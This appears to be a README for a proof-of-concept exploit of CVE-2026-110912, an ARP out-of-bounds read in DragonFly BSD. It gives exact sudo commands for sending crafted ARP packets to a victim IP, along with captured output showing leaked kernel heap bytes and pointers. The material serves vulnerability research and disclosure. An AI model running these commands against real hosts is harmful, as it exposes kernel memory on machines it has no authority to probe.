0xblackash/cve-2026-110912Proof-of-concept Python/scapy per CVE-2026-110912 (ARPBleed), una lettura fuori dai limiti di ar_hln/ar_pln in ARP su DragonFly BSD che espone memoria heap e stack del kernel.
ARPBleed 🩸
Vulnerabilità nella gestione dei pacchetti ARP | DragonFly BSD | Ricerca sulla sicurezza
ARPBleed è il nome associato alla vulnerabilità segnalata CVE-2026-110912, che riguarda una gestione impropria dei campi di lunghezza dei pacchetti Address Resolution Protocol (ARP) in DragonFly BSD.
Secondo la descrizione preliminare della vulnerabilità, pacchetti ARP malformati possono causare una lettura di memoria fuori dai limiti (out-of-bounds), potenzialmente esponendo porzioni di memoria del kernel attraverso risposte di rete.
Importante: i dettagli della vulnerabilità presentati qui sono preliminari e richiedono una verifica rispetto ai registri CVE autorevoli e agli avvisi ufficiali del fornitore prima di essere considerati confermati.
| Attributo | Dettagli |
|---|---|
| CVE ID | CVE-2026-110912 |
| Nome della vulnerabilità | ARPBleed |
| Prodotto segnalato | DragonFly BSD |
| Tipo di vulnerabilità | Lettura fuori dai limiti (out-of-bounds read) |
| CWE correlato | CWE-130 — Gestione impropria dell'incoerenza dei parametri di lunghezza |
| Vettore di attacco segnalato | Rete adiacente |
| Autenticazione richiesta | Segnalata come assente |
| Impatto potenziale | Divulgazione di memoria del kernel |
| Punteggio CVSS segnalato | 7.1 — Non verificato |
| Versioni interessate segnalate | Fino alla 6.4.2 — Non verificato |
| Rimedio | Verificare la patch ufficiale del fornitore |
L'Address Resolution Protocol (ARP) è utilizzato nelle reti IPv4 per risolvere gli indirizzi IP in indirizzi hardware, tipicamente indirizzi MAC.
Quando un host deve comunicare con un altro dispositivo sulla rete locale, può trasmettere in broadcast una richiesta ARP. Il dispositivo con l'indirizzo IP corrispondente può rispondere con una risposta ARP contenente il proprio indirizzo hardware.
CVE-2026-110912-ARPBleed.py - file singolo, richiede python3 + scapy e root (raw socket).
sudo python3 CVE-2026-110912-ARPBleed.py <victim-ip> [<iface>] [--hln N] [--pln N]
# heap leak (ar_sha carries ar_hln-6 bytes past the MAC)
sudo python3 CVE-2026-110912-ARPBleed.py 10.170.0.10 eth0 --hln 200 --pln 4
# stack leak (ar_spa carries ar_pln-4 bytes past &taddr)
sudo python3 CVE-2026-110912-ARPBleed.py 10.170.0.10 eth0 --hln 6 --pln 200
# sanity: a legal ARP, expect a clean reply and no leak
sudo python3 CVE-2026-110912-ARPBleed.py 10.170.0.10 eth0 --hln 6 --pln 4
# maximum single-packet leak
sudo python3 CVE-2026-110912-ARPBleed.py 10.170.0.10 eth0 --hln 255 --pln 255
I primi 6 byte della regione ar_sha divulgata sono il MAC reale della vittima e i primi 4 byte di ar_spa sono l'IP della vittima - tutto ciò che segue è memoria del kernel fuori dai limiti. Codice di uscita 0 su una divulgazione catturata, 2 quando non arriva alcuna risposta (comportamento di un kernel corretto).
Vittima: DragonFly 6.4.2-RELEASE (installazione standard, QEMU virtio-net), 10.170.0.10. Attaccante: Kali, scapy 2.7.01, 10.170.0.2, stesso segmento L2.
=== arpbleed - CVE-2026-110912 ARP ar_hln/ar_pln OOB-read PoC ===
[*] iface=eth0 attacker-mac=52:54:00:19:26:9a victim=10.170.0.10
[*] ar_hln=6 ar_pln=4 arp_body=28 frame=42
[*] crafted ARP REQUEST sent; waiting for reply...
[+] captured ARP REPLY: 42 bytes (reply ar_hln=6 ar_pln=4)
[*] reply ether-src = 52:54:00:df:04:94 (victim interface MAC)
[#####] HEAP LEAK (ar_sha, 0 OOB bytes past 6-byte IF_LLADDR) [#####]
---- reply ar_sha [memcpy(ar_sha, IF_LLADDR, ar_hln)] (6 bytes; bytes [6..5] are the OOB leak) ----
0000: 52 54 00 df 04 94 |RT....|
[#####] STACK LEAK (ar_spa, 0 OOB bytes past 4-byte &taddr) [#####]
---- reply ar_spa [memcpy(ar_spa, &taddr, ar_pln)] (4 bytes; bytes [4..3] are the OOB leak) ----
0000: 0a aa 00 0a |....|
[*] reply ar_tha echoes attacker MAC + filler: True
[+] legal ARP answered normally - no leak bytes (sanity)
# rc=0
=== arpbleed - CVE-2026-110912 ARP ar_hln/ar_pln OOB-read PoC ===
[*] iface=eth0 attacker-mac=52:54:00:19:26:9a victim=10.170.0.10
[*] ar_hln=200 ar_pln=4 arp_body=416 frame=430
[*] crafted ARP REQUEST sent; waiting for reply...
[+] captured ARP REPLY: 430 bytes (reply ar_hln=200 ar_pln=4)
[*] reply ether-src = 52:54:00:df:04:94 (victim interface MAC)
[#####] HEAP LEAK (ar_sha, 194 OOB bytes past 6-byte IF_LLADDR) [#####]
---- reply ar_sha [memcpy(ar_sha, IF_LLADDR, ar_hln)] (200 bytes; bytes [6..199] are the OOB leak) ----
0000: 52 54 00 df 04 94 00 00 00 00 00 00 00 00 00 00 |RT..............|
0010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
0020: 00 00 00 00 00 00 00 00 00 00 0e 00 00 00 00 00 |................|
0030: 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 |................|
0040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
0050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
0060: 00 00 10 12 2a 46 00 f8 ff ff 00 00 00 00 00 00 |....*F..........|
0070: 00 00 48 12 2a 46 00 f8 ff ff 00 00 00 00 00 00 |..H.*F..........|
0080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
0090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00c0: 00 00 00 00 00 00 00 00 |........|
-- kernel pointers in heap leak: 7 --
heap + 38 (abs 44): 0xffff000000000000
heap + 39 (abs 45): 0xffffff0000000000
heap + 40 (abs 46): 0xffffffff00000000
heap + 41 (abs 47): 0xffffffffff000000
heap + 42 (abs 48): 0xffffffffffff0000
heap + 92 (abs 98): 0xfffff800462a1210
heap +108 (abs 114): 0xfffff800462a1248
[#####] STACK LEAK (ar_spa, 0 OOB bytes past 4-byte &taddr) [#####]
---- reply ar_spa [memcpy(ar_spa, &taddr, ar_pln)] (4 bytes; bytes [4..3] are the OOB leak) ----
0000: 0a aa 00 0a |....|
[*] reply ar_tha echoes attacker MAC + filler: True
[+] arpbleed REPRODUCED (remote): 194 heap OOB bytes + 0 stack OOB bytes; kernel pointers: 7 heap / 0 stack
# rc=0